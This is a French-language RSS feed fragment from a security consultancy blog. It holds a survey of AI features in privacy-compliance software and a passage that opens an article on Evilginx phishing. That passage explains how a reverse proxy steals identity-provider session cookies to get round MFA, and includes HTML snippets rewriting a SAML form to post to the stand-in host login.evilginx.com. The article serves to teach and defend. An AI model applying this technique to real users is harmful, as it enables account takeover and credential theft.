<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/10/sharepoint-app-registrations-vecteur-de-compromission-du-si-et-retex-red-team/">SharePoint &amp; App Registrations : Vecteur de compromission du SI et RETEX Red Team</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/10/sharepoint-app-registrations-vecteur-de-compromission-du-si-et-retex-red-team/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Pourquoi est-ce le bon moment d’inclure des outils alimentés par l&#8217;IA dans votre stratégie de conformité privacy ?</title>
		<link>https://www.riskinsight-wavestone.com/2025/09/pourquoi-est-ce-le-bon-moment-dinclure-des-outils-alimentes-par-lia-dans-votre-strategie-de-conformite-privacy/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/09/pourquoi-est-ce-le-bon-moment-dinclure-des-outils-alimentes-par-lia-dans-votre-strategie-de-conformite-privacy/#respond</comments>
		
		<dc:creator><![CDATA[Alexandre Bianchi]]></dc:creator>
		<pubDate>Mon, 22 Sep 2025 08:15:58 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Privacy compliance]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27632</guid>

					<description><![CDATA[<p>Prêt à faire passer votre stratégie privacy au niveau supérieur ? À une époque marquée par l&#8217;utilisation croissante de l&#8217;IA dans diverses tâches et emplois, les organisations découvrent comment l&#8217;IA peut devenir l&#8217;un de leurs meilleurs alliés, réduisant la complexité,...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/pourquoi-est-ce-le-bon-moment-dinclure-des-outils-alimentes-par-lia-dans-votre-strategie-de-conformite-privacy/">Pourquoi est-ce le bon moment d’inclure des outils alimentés par l&rsquo;IA dans votre stratégie de conformité privacy ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Prêt à faire passer votre stratégie <em>privacy</em> au niveau supérieur ? À une époque marquée par l&rsquo;<span style="color: #451dc7;"><strong>utilisation croissante de l&rsquo;IA </strong></span>dans diverses tâches et emplois, les organisations découvrent comment l&rsquo;IA peut devenir l&rsquo;un de leurs meilleurs alliés, réduisant la complexité, accélérant la conformité et optimisant tous les aspects de la gestion de la <em>privacy</em>. Cette étude démontre que les <span style="color: #451dc7;"><strong>solutions basées sur l&rsquo;IA s&rsquo;améliorent</strong></span> et pourraient bientôt devenir un atout pour simplifier les activités liées à la <em>privacy</em>, souvent chronophages. <span style="color: #451dc7;"><strong>Il est donc intéressant de se pencher sur ces solutions dès aujourd&rsquo;hui</strong></span> pour ne pas manquer le coche.</p>
<p style="text-align: justify;">Pour soutenir nos clients, nous avons examiné plusieurs solutions <em>privacy</em> pilotées par l&rsquo;IA. Cet article donne un <span style="color: #451dc7;"><strong>aperçu des fonctionnalités offertes par les principaux acteurs du marché <em>privacy</em></strong></span>, notamment OneTrust, Smart Global Governance, Witik, Dastra, EQS, Secure Privacy, DataGrail, BigID, Collibra, Privacy License et Ardent. Cette liste n&rsquo;est pas exhaustive, mais elle met en lumière les principaux fournisseurs que nous avons identifiés parmi nos clients.</p>
<p style="text-align: justify;">Le radar ci-dessous présente un résumé des résultats de l&rsquo;étude, <span style="color: #451dc7;"><strong>offrant un aperçu des capacités</strong></span> des différentes solutions en matière de fonctionnalités d&rsquo;IA. Il servira d&rsquo;outil précieux pour les organisations afin d&rsquo;identifier quelles solutions correspondent le mieux à leurs besoins et priorités spécifiques.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-27633 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-1-1.png" alt="" width="1077" height="535" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-1-1.png 1077w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-1-1-384x191.png 384w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-1-1-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-1-1-768x382.png 768w" sizes="auto, (max-width: 1077px) 100vw, 1077px" /></p>
<p style="text-align: center;"><em>Figure 1 : Radar des solutions Privacy intégrant l’IA</em></p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Les fonctionnalités IA en <em>privacy</em></span></h2>
<p> </p>
<p style="text-align: justify;">Lors de notre évaluation comparative, nous avons identifié cinq types principaux de fonctionnalités pour l&rsquo;utilisation de l&rsquo;IA dans les solutions <em>privacy</em>. Ces cinq catégories couvrent les principales <span style="color: #451dc7;"><strong>fonctionnalités récurrentes</strong></span> trouvées dans les solutions des éditeurs. Bien que chaque catégorie regroupe des fonctionnalités similaires, certaines fonctionnalités uniques de l&rsquo;IA peuvent ne pas entrer dans ces catégories.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-27635 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-2.png" alt="" width="655" height="487" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-2.png 655w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-2-257x191.png 257w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-2-52x39.png 52w" sizes="auto, (max-width: 655px) 100vw, 655px" /></p>
<p style="text-align: center;"><em>Figure 2 : Catégories de fonctionnalités IA en privacy</em></p>
<p> </p>
<h3><strong>   1. Génération assistée de documents <em>privacy</em></strong></h3>
<p style="text-align: justify;">Les solutions d&rsquo;IA peuvent générer automatiquement des <span style="color: #451dc7;"><strong>questionnaires et des évaluations</strong> </span>pour les <span style="color: #451dc7;"><strong>audits de conformité, les enquêtes de satisfaction, les rapports personnalisés</strong></span> et même les <span style="color: #451dc7;"><strong>registres de traitement des données</strong></span>. Ces outils permettent de personnaliser le contenu en fonction des exigences spécifiques. Certaines solutions intègrent même la possibilité d&rsquo;importer des documents existants pour optimiser la génération de documents.</p>
<p style="text-align: justify;"><strong><em><span style="color: #451dc7;">Exemple d&rsquo;utilisation</span> <span style="color: #451dc7;">:</span></em></strong> <em>générer une proposition de modèle d&rsquo;évaluation des fournisseurs. </em></p>
<p style="text-align: justify;">Ce type de fonctionnalité démontre d’une maturité déjà avancée et permet de rédiger rapidement plusieurs documents qui prendraient autrement beaucoup plus de temps.</p>
<p><span style="color: #451dc7;"><strong>Score de maturité</strong> :</span></p>
<p><strong><img loading="lazy" decoding="async" class="wp-image-27637 size-full alignleft" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-3.png" alt="" width="309" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-3.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-3-71x17.png 71w" sizes="auto, (max-width: 309px) 100vw, 309px" /></strong></p>
<p style="text-align: justify;"><strong> </strong></p>
<p> </p>
<p> </p>
<h3 style="text-align: justify;"><strong>   2. </strong><strong style="color: revert; font-size: revert;">Analyse et complétion intelligentes de document</strong></h3>
<p style="text-align: justify;">L&rsquo;analyse intelligente de documents utilise l&rsquo;IA pour examiner des documents complexes, extraire des informations clés et identifier les risques de conformité. Elle ne génère que des brouillons initiaux de réponses aux questions, aidant ainsi les utilisateurs à <span style="color: #451dc7;"><strong>ne pas partir de zéro</strong></span>. Un contrôle humain est nécessaire pour vérifier la qualité de ces brouillons.</p>
<p style="text-align: justify;"><strong><span style="color: #451dc7;">Exemple d&rsquo;utilisation</span> :</strong> <em>générer un premier brouillon de privacy by design pour un nouveau traitement de données RH.</em></p>
<p style="text-align: justify;">Ce type de fonctionnalité est considérée comme mature et permet de rédiger rapidement des réponses dans des questionnaires ou divers documents, réduisant ainsi considérablement le temps nécessaire à leur achèvement.</p>
<p style="text-align: justify;"><span style="color: #451dc7;"><strong>Score de maturité</strong> : </span></p>
<p style="text-align: justify;"><strong> <img loading="lazy" decoding="async" class="alignnone size-medium wp-image-27675" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-4-1-437x51.png" alt="" width="437" height="51" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-4-1-437x51.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-4-1-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-4-1-768x89.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-4-1.png 850w" sizes="auto, (max-width: 437px) 100vw, 437px" /><br /></strong></p>
<p> </p>
<h3 style="text-align: justify;"><strong style="color: revert; font-size: revert;">   3. Plan de conformité assisté par IA</strong></h3>
<p> </p>
<p style="text-align: justify;">Les solutions d&rsquo;IA peuvent créer des plans d&rsquo;action de conformité, gérer des tâches, automatiser des flux de travail, et assurer ainsi une exécution fluide des processus de mise en conformité. Ces outils optimisent le temps et les ressources, <span style="color: #451dc7;"><strong>simplifiant ainsi l&rsquo;achèvement des workflows.</strong></span></p>
<p style="text-align: justify;"><span style="color: #451dc7;"><strong><em>Exemple d&rsquo;utilisation :</em></strong></span> <em>automatisation des réponses aux demandes d&rsquo;accès des personnes concernées.</em></p>
<p style="text-align: justify;">Ce type de fonctionnalité émerge notamment avec l&rsquo;arrivée des agents IA. Dans un an environ, cette technologie devrait gagner en maturité et permettre une plus grande précision dans les combinaisons de tâches proposées pour simplifier les flux de travail.</p>
<p style="text-align: justify;"><span style="color: #451dc7;"><strong>Score de maturité</strong> :</span> <strong> </strong>   </p>
<p><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-27679" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-51-437x37.png" alt="" width="437" height="37" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-51-437x37.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-51-71x6.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-51-768x66.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-51-800x69.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-51.png 808w" sizes="auto, (max-width: 437px) 100vw, 437px" /></p>
<p> </p>
<h3><strong>   4. Assistants IA</strong></h3>
<p style="text-align: justify;">Les assistants conversationnels IA fournissent une <span style="color: #451dc7;"><strong>assistance en temps réel aux employés</strong></span> et aux clients en répondant à leurs questions et en les guidant à travers les processus de conformité. En général, ces assistants IA sont pré-entraînés avec des référentiels de réglementation ou des documents juridiques. Ils peuvent également être adaptés avec des documents choisis par le client et téléchargés dans un environnement de travail sécurisé fourni par l&rsquo;éditeur. Leur utilisation améliore l&rsquo;accessibilité et la réactivité des services de conformité.</p>
<p style="text-align: justify;"><span style="color: #451dc7;"><strong>Exemple d&rsquo;utilisation :</strong></span> <em>Privacy-GPT permettant de répondre à des questions telles que « pouvez-vous me rappeler les règles de suppression des données pour les CV ? » </em></p>
<p style="text-align: justify;">Cette fonctionnalité est facilement disponible et peut être mise en œuvre aisément au sein des entreprises en utilisant des configurations simples d&rsquo;agents IA comme Copilot.</p>
<p style="text-align: justify;"><span style="color: #451dc7;"><strong>Score de maturité </strong>:</span> </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-27682" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-6-1-437x32.png" alt="" width="437" height="32" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-6-1-437x32.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-6-1-71x5.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-6-1-768x57.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-6-1-800x61.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-6-1.png 823w" sizes="auto, (max-width: 437px) 100vw, 437px" /></p>
<p> </p>
<h3><strong>   5. Gestion des cookies et du consentement avec l&rsquo;IA</strong></h3>
<p> </p>
<p style="text-align: justify;">Il est possible d&rsquo;utiliser l&rsquo;IA pour générer automatiquement des <span style="color: #451dc7;"><strong>bannières de consentement</strong> </span>aux cookies, en tenant compte des principaux paramètres tels que la langue, le pays et les réglementations applicables. Elle automatise également la création de <span style="color: #451dc7;"><strong>politiques de <em>privacy</em> et de gestion des cookies</strong>,</span> adaptées aux critères juridiques régionaux et linguistiques. De plus, certaines solutions incluent une classification intelligente des cookies, permettant d&rsquo;identifier, de catégoriser et de gérer les cookies sur un site web.</p>
<p style="text-align: justify;">Cette fonctionnalité est rare, et peu d&rsquo;éditeurs ont poursuivi son développement.</p>
<p style="text-align: justify;"><span style="color: #451dc7;"><strong>Score de maturité </strong>:</span>  </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-27684" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-7-1-437x35.png" alt="" width="437" height="35" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-7-1-437x35.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-7-1-71x6.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-7-1-768x62.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image-7-1.png 853w" sizes="auto, (max-width: 437px) 100vw, 437px" /></p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Comment tirer le meilleur parti de la maturité actuelle des outils d&rsquo;IA ?</span></h2>
<p> </p>
<p style="text-align: justify;">Le benchmark indique que les solutions <em>privacy</em> basées sur l&rsquo;IA offrent des <span style="color: #451dc7;"><strong>avantages notables</strong></span> en matière de conformité et d&rsquo;efficacité au travail, bien que <span style="color: #451dc7;"><strong>certaines limites</strong></span> soient à prendre en compte.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;"><strong>Avantages :</strong></span></h4>
<p> </p>
<ul style="text-align: justify;">
<li><strong>Conformité et gain de temps :</strong> Les solutions <em>privacy</em> basées sur l&rsquo;IA peuvent <span style="color: #451dc7;"><strong>améliorer et simplifier</strong></span> les travaux autour de la conformité.
<ul>
<li>Les fonctionnalités de l&rsquo;IA visent à gagner du temps, en particulier pour les tâches répétitives et longues. Cela peut impliquer, par exemple, le pré-remplissage de questionnaires, l&rsquo;automatisation des flux de travail&#8230;</li>
<li>Les outils d&rsquo;IA donnent accès à une <span style="color: #451dc7;"><strong>vaste base de connaissances</strong></span>, qu&rsquo;elle soit interne ou externe, et permettent des recherches plus rapides. La conformité peut être atteinte <span style="color: #451dc7;"><strong>plus rapidement et avec plus de précision</strong>.</span></li>
<li>Ces outils permettent également <span style="color: #451dc7;"><strong>d&rsquo;assurer la cohérence au sein de l&rsquo;organisation</strong> </span>sur la manière de traiter les sujets <em>privacy</em> (en s&rsquo;appuyant sur un RAG commun). La conformité sera plus cohérente au sein de toutes les entités.</li>
</ul>
</li>
<li><strong>Automatisation partielle :</strong> <span style="color: #451dc7;"><strong>L&rsquo;automatisation complète n&rsquo;est pas l&rsquo;objectif</strong></span> en matière de <em>privacy</em> en raison de la nature sensible des informations impliquées. Les solutions d&rsquo;IA en <em>privacy</em> sont plus adaptées en tant qu&rsquo;outils de support plutôt qu&rsquo;en tant qu’outils de remplacement complet. C&rsquo;est pourquoi la plupart des éditeurs développent des fonctionnalités pour des tâches spécifiques exigeant une <span style="color: #451dc7;"><strong>supervision humaine</strong>.</span></li>
</ul>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;"><strong>Limites :</strong></span></h4>
<p style="text-align: justify;"> </p>
<ul style="text-align: justify;">
<li><span style="color: #000000;"><strong>Limites spécifiques aux tâches :</strong> </span>De nombreux outils d&rsquo;IA utilisent des <span style="color: #451dc7;"><strong>modèles tiers</strong></span> (par exemple, une API directement liée à OpenAI) qui peuvent ne pas être entièrement optimisés pour des tâches spécialisées. Lors de la sélection d&rsquo;une solution d&rsquo;IA, il est important de vérifier le modèle et les données d&rsquo;entraînement, et d’opter pour des plateformes qui utilisent des <span style="color: #451dc7;"><strong>modèles propriétaires axés sur la confidentialité</strong></span> des données pour des résultats plus fiables.</li>
<li><strong>Risques de sécurité :</strong> L&rsquo;augmentation de la connectivité et la demande de personnalisation peuvent introduire des risques de sécurité, affectant potentiellement l&rsquo;intégrité et la confidentialité des données. Il est conseillé de <span style="color: #451dc7;"><strong>surveiller la manière dont les systèmes d&rsquo;IA interagissent avec les données</strong> </span>pour s&rsquo;assurer que les informations sensibles ne sont pas accessibles à l&rsquo;IA.</li>
<li><strong>Responsabilités des utilisateurs :</strong> Il est important de reconnaître que l&rsquo;utilisation de l&rsquo;IA comporte des <span style="color: #451dc7;"><strong>risques inhérents</strong></span>, car ses réponses ne sont pas toujours exactes ou pertinentes. Les utilisateurs doivent garder une perspective critique et <span style="color: #451dc7;"><strong>vérifier soigneusement tout contenu généré par l&rsquo;IA</strong></span> avant de l&rsquo;incorporer dans des documents officiels. Sensibiliser et offrir des conseils sur les meilleures pratiques d&rsquo;utilisation de l&rsquo;IA pourrait être bénéfique pour garantir une mise en œuvre responsable et efficace.</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Perspectives</span></h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">L&rsquo;intelligence artificielle en est encore à ses débuts pour les sujets <em>privacy</em>, et des fonctions plus avancées devraient émerger à l&rsquo;avenir. Actuellement, <span style="color: #451dc7;"><strong>les capacités de l&rsquo;IA sont utilisées comme outils de support pour diverses tâches</strong></span>, opérant généralement sous la supervision humaine pour rationaliser les processus chronophages ou répétitifs. Dans un ou deux ans, d&rsquo;autres opportunités pourraient apparaître avec le développement <span style="color: #451dc7;"><strong>d&rsquo;agents IA</strong></span> (systèmes conçus pour effectuer des tâches de manière autonome pour les utilisateurs ou d&rsquo;autres systèmes), permettant une personnalisation accrue pour des besoins métiers spécifiques ou des applications générales, ainsi qu&rsquo;une meilleure précision dans l&rsquo;exécution de tâches spécifiques. Pour ces raisons, <span style="color: #451dc7;"><strong>il est conseillé de s&rsquo;intéresser dès maintenant aux outils d&rsquo;IA</strong>,</span> car ils peuvent permettre <span style="color: #451dc7;"><strong>de gagner en efficacité sur les sujets opérationnels</strong></span>.</p>
<p style="text-align: justify;">Bien que la personnalisation accrue puisse améliorer le rôle de l&rsquo;IA dans la <em>privacy</em> et la conformité, elle augmente également la <span style="color: #451dc7;"><strong>connectivité</strong></span>, ce qui peut poser des <span style="color: #451dc7;"><strong>risques de sécurité</strong></span>. Il sera nécessaire de relever ces défis pour maintenir l&rsquo;intégrité et la confidentialité des données.</p>
<p style="text-align: justify;">Enfin, étant donné le <span style="color: #451dc7;"><strong>développement rapide</strong></span> de l&rsquo;IA, changer une solution déjà implémentée pourrait ne pas être financièrement judicieux. Néanmoins, il peut être intéressant de le planifier pour 2026 et de contacter votre éditeur pour en savoir plus sur les fonctionnalités disponibles lorsque la technologie des agents IA sera plus mature.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><em>Dans le cadre de notre recherche, nous avons organisé des ateliers d&rsquo;une heure avec six de ces éditeurs (Dastra, OneTrust, Smart Global Governance, Secure Privacy, Witik et EQS/Privacy Cockpit) afin de mieux comprendre leurs capacités en matière d&rsquo;IA, leurs développements futurs et la manière dont ils intègrent l&rsquo;IA dans leurs solutions.</em></p>
<p style="text-align: justify;"><em>Nous remercions vivement Cyprien Charlaté et Catherine Pigamo pour leur précieuse contribution à la rédaction de cet article.</em></p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/pourquoi-est-ce-le-bon-moment-dinclure-des-outils-alimentes-par-lia-dans-votre-strategie-de-conformite-privacy/">Pourquoi est-ce le bon moment d’inclure des outils alimentés par l&rsquo;IA dans votre stratégie de conformité privacy ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/09/pourquoi-est-ce-le-bon-moment-dinclure-des-outils-alimentes-par-lia-dans-votre-strategie-de-conformite-privacy/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Phishing : Evilginx poussé à ses limites</title>
		<link>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:17 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26611</guid>

					<description><![CDATA[<p>Les attaques par phishing sont aussi vieilles que l&#8217;internet. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l&#8217;objectif final reste le même : obtenir un premier accès au réseau interne. Habituellement, les...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/">Phishing : Evilginx poussé à ses limites</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[


<p style="text-align: justify;">Les attaques par phishing sont <strong>aussi vieilles que l&rsquo;internet</strong>. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l&rsquo;objectif final reste le même : obtenir un premier accès au réseau interne.</p>
<p style="text-align: justify;">Habituellement, <strong>les <em>threat actors</em> tentent d&rsquo;envoyer des documents malveillants</strong> tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d&rsquo;Office lié aux macros et la sensibilisation accrue au phishing, <strong>ces types de techniques sont de moins en moins utilisés</strong>.</p>
<p style="text-align: justify;">Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à <strong>récupérer l’identité numérique de l’utilisateur :</strong> son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.</p>
<p style="text-align: justify;">Pour limiter ce type d’attaques, <strong>les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA)</strong>, afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Phishing 101</h2>
<p> </p>
<h3 style="text-align: justify;">IDP, cookies et phishing</h3>
<p style="text-align: justify;">La protection MFA mise en place par les entreprises est <strong>un bon moyen de limiter l&rsquo;impact</strong> d&rsquo;un phishing réussi. En effet, même si l&rsquo;acteur de la menace récupère les informations d&rsquo;identification de l&rsquo;utilisateur, il ne sera pas en mesure d&rsquo;usurper l&rsquo;identité de l&rsquo;utilisateur puisqu&rsquo;il ne pourra pas valider le MFA.</p>
<p style="text-align: justify;">Cependant, aujourd&rsquo;hui, le MFA n&rsquo;est généralement demandé <strong>que lors de la première authentification</strong> : une fois que l&rsquo;utilisateur est authentifié auprès du fournisseur d&rsquo;identité, celui-ci lui fournit une preuve d&rsquo;authentification qu&rsquo;il peut transmettre à n&rsquo;importe quel service. Grâce à cette preuve d&rsquo;authentification, l&rsquo;utilisateur n&rsquo;a pas besoin d&rsquo;une authentification active supplémentaire et n&rsquo;a donc pas besoin de revalider le MFA tant que ce ticket est valide.</p>
<p style="text-align: justify;">Dans les IDP web les plus courants comme Azure, Google ou Okta, <strong>ce ticket est représenté par les cookies</strong>. Lorsque l&rsquo;utilisateur se connecte à l&rsquo;IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l&rsquo;utilisateur peut se connecter à n&rsquo;importe quel autre service web compatible SSO sans authentification.</p>
<p style="text-align: center;"> </p>
<figure id="attachment_26612" aria-describedby="caption-attachment-26612" style="width: 973px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26612" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-238x191.png" alt="Schéma décrivant le maintient de la session par les cookies" width="973" height="781" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1.png 1420w" sizes="auto, (max-width: 973px) 100vw, 973px" /><figcaption id="caption-attachment-26612" class="wp-caption-text"><em>Session maintenue par des cookies</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">En résumé,<strong> les cookies IDP de l&rsquo;utilisateur représentent l&rsquo;identité numérique de l&rsquo;utilisateur</strong>. Par conséquent, dans une attaque de phishing dont l&rsquo;objectif principal est d&rsquo;usurper cette identité numérique de l&rsquo;utilisateur, l&rsquo;attaquant tentera de voler les cookies une fois que l&rsquo;utilisateur aura réussi son authentification.</p>
<p> </p>
<h3 style="text-align: justify;">Evilginx</h3>
<p> </p>
<h4 style="text-align: justify;">Evil proxy</h4>
<p style="text-align: justify;">Pour voler les cookies, l&rsquo;attaquant doit être placé dans une position <em>man-in-the-middle</em> au cours du processus d&rsquo;authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, <strong>l&rsquo;utilisateur aura conscience qu&rsquo;il se passe quelque chose d&rsquo;anormal</strong>.</p>
<p style="text-align: justify;">C&rsquo;est là qu&rsquo;<strong>Evilginx entre en jeu</strong>. Au lieu d&rsquo;effectuer une simple attaque de type « <em>man-in-the-middle</em> » en relayant le paquet vers l&rsquo;IDP, Evilginx crée un proxy malveillant :<strong> l&rsquo;utilisateur ne s&rsquo;authentifie pas sur accounts.google.com, mais il s&rsquo;authentifie sur login.evilginx.com</strong> :</p>
<figure id="attachment_26614" aria-describedby="caption-attachment-26614" style="width: 973px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26614" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-399x191.png" alt="Schéma du fonctionnement d’Evilgproxy" width="973" height="466" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2.png 947w" sizes="auto, (max-width: 973px) 100vw, 973px" /><figcaption id="caption-attachment-26614" class="wp-caption-text"><em>Fonctionnement d’Evilgproxy</em></figcaption></figure>
<p>Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.</p>
<p> </p>
<h4 style="text-align: justify;">Phislets 101</h4>
<p style="text-align: justify;">Par exemple, lors de l&rsquo;authentification à Azure, les domaines suivants sont utilisés :</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p style="text-align: justify;">Le problème est que pendant le processus d&rsquo;authentification, l&rsquo;IDP redirige l&rsquo;utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d&rsquo;un processus d&rsquo;authentification SAML classique, l&rsquo;IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l&rsquo;utilisateur a commencé son processus d&rsquo;authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d&rsquo;authentification, ce qui rompt la position de l&rsquo;homme du milieu.</p>
<p style="text-align: justify;">Evilginx <strong>utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas</strong>. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l&rsquo;IDP renvoie une réponse telle que :</p>
<pre style="text-align: justify;">&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p style="text-align: justify;">Avec le phishlet, <strong>Evilginx saura que le domaine login.microsoftonline.com doit être réécrit</strong> et renverra à la cible la page modifiée suivante :</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
